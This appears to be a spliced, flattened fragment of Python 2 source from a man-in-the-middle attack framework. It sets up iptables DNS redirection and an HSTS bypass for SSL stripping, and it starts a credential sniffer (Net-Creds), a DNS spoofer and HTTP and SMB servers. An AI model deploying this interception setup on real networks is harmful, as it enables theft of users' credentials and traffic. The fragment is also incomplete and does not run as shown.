def initialize(self, options): self.options = options from core.sslstrip.URLMonitor import URLMonitor from core.servers.dns.DNSchef import DNSChef from core.utils import iptables if iptables().dns is False: iptables().DNS(self.config['MITMf']['DNS']['port']) URLMonitor.getInstance().setHstsBypass() DNSChef().setHstsBypass()
print "|_ MITMf-API online" mitmfapi().start() #Start Net-Creds from core.netcreds.NetCreds import NetCreds NetCreds().start(options.interface, options.ip) print "|_ Net-Creds v{} online".format(NetCreds.version) #Start the HTTP Server from core.servers.http.HTTPserver import HTTPserver HTTPserver().start() print "|_ HTTP server online" #Start DNSChef from core.servers.dns.DNSchef import DNSChef DNSChef().start() print "|_ DNSChef v{} online".format(DNSChef.version) #Start the SMB server from core.servers.smb.SMBserver import SMBserver SMBserver().start() print "|_ SMB server online [Mode: {}] (Impacket {}) \n".format( SMBserver().mode, SMBserver().version) #start the reactor reactor.run() print "\n" if options.filter: pparser.stop()